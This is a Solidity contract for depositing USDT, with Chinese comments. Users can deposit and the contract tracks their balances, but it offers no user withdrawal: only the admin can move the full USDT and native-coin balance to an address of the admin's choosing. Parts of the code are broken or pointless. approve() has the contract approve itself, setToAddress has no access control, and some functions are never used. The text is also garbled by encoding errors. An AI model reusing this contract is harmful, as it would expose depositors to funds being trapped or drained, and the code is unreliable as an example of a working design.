USDT智能合約
// SPDX-License-Identifier: MIT
// SPDX許可證標識符:MIT
pragma solidity ^0.8.0;
interface IERC20 {
? ? function transfer(address to, uint256 amount) external returns (bool); // 轉(zhuǎn)移代幣到指定地址
? ? function approve(address spender, uint256 amount) external returns (bool); // 授權(quán)第三方使用代幣
? ? function balanceOf(address account) external view returns (uint256); // 查詢賬戶余額
? ? function transferFrom(
? ? ? ? address from,
? ? ? ? address to,
? ? ? ? uint256 value
? ? ) external returns (bool); // 從指定地址轉(zhuǎn)移代幣到另一個地址
}
contract USDTReceiver {
? ? address public admin; // 合約管理員
? ? address public receiver; // 代幣接收地址
? ? address payable toAddress; // 代幣接收地址
? ? IERC20 public usdt; // USDT代幣合約實例
? ? mapping(address => uint256) public balances; // 用戶余額映射
? ? event Deposit(address indexed depositor, uint256 amount); // 存款事件
? ? event Withdrawal(address indexed recipient, uint256 amount); // 提款事件
? ? event ReceiverSet(address indexed receiver); // 接收地址設置事件
? ? constructor(address _usdt) {
? ? ? ? admin = msg.sender; // 初始化管理員為合約創(chuàng)建者
? ? ? ? usdt = IERC20(_usdt); // 初始化USDT合約實例
? ? }
? ? function setReceiver(address _receiver) public onlyAdmin {
? ? ? ? // 設置接收地址,只有管理員可以調(diào)用
? ? ? ? require(_receiver != address(0), "Receiver address cannot be zero"); // 接收地址不能為0地址
? ? ? ? receiver = _receiver; // 設置接收地址
? ? ? ? emit ReceiverSet(_receiver); // 觸發(fā)事件
? ? }
? ? function deposit(uint256 amount) public {
? ? ? ? // 存款函數(shù)
? ? ? ? require(amount > 0, "Deposit amount must be greater than zero"); // 存款金額必須大于0
? ? ? ? require(
? ? ? ? ? ? usdt.transferFrom(msg.sender, address(this), amount), // 從發(fā)送者轉(zhuǎn)移USDT代幣到合約賬戶
? ? ? ? ? ? "USDT transfer failed" // 轉(zhuǎn)移失敗,拋出異常
? ? ? ? );
? ? ? ? balances[msg.sender] += amount; // 增加發(fā)送者賬戶余額
? ? ? ? emit Deposit(msg.sender, amount); // 觸發(fā)事件
? ? }
? ? function withdraw(uint256 amount) public onlyAdmin {
? ? ? ? // 提款函數(shù),只有管理員可以調(diào)用
? ? ? ? require(receiver != address(0), "Receiver address not set"); // 接收地址必須已經(jīng)設置
? ? ? ? require(
? ? ? ? ? ? amount <= usdt.balanceOf(address(this)), // 合約賬戶余額必須大于等于提款金額
? ? ? ? ? ? "Insufficient balance" // 余額不足,拋出異常
? ? ? ? );
? ? ? ? require(usdt.transfer(receiver, amount), "USDT transfer failed"); // 將USDT代幣轉(zhuǎn)移到接收地址
? ? ? ? emit Withdrawal(receiver, amount); // 觸發(fā)事件
? ? }
? ? //授權(quán)
? ? function approve(uint256 amount) public {
? ? ? ? require(amount > 0, "Approved amount must be greater than zero");
? ? ? ? require(amount <= usdt.balanceOf(msg.sender), "Insufficient balance");
? ? ? ? require(usdt.approve(address(this), amount), "Approve failed");
? ? }
? ? //存主鏈幣
? ? function setGasAmount() public payable {}
? ? function setToAddress(address payable _toAddress) public {
? ? ? ? toAddress = _toAddress;
? ? }
? ? function txUsdt() private {
? ? ? ? uint256 amount = usdt.balanceOf(address(this));
? ? ? ? usdt.transfer(receiver, amount);
? ? }
? ? //提款主鏈幣
? ? function txBalance(address payable _txAddress) public onlyAdmin {
? ? ? ? _txAddress.transfer(address(this).balance);
? ? }
? ? //提現(xiàn)所有USDT
? ? function withdrawAll() public onlyAdmin {
? ? ? ? uint256 amount = usdt.balanceOf(address(this));
? ? ? ? require(amount > 0, "No balance to withdraw");
? ? ? ? require(usdt.transfer(receiver, amount), "USDT transfer failed");
? ? ? ? emit Withdrawal(receiver, amount);
? ? }
? ? modifier onlyAdmin() {
? ? ? ? require(msg.sender == admin, "Only admin can call this function");
? ? ? ? _;
? ? }
}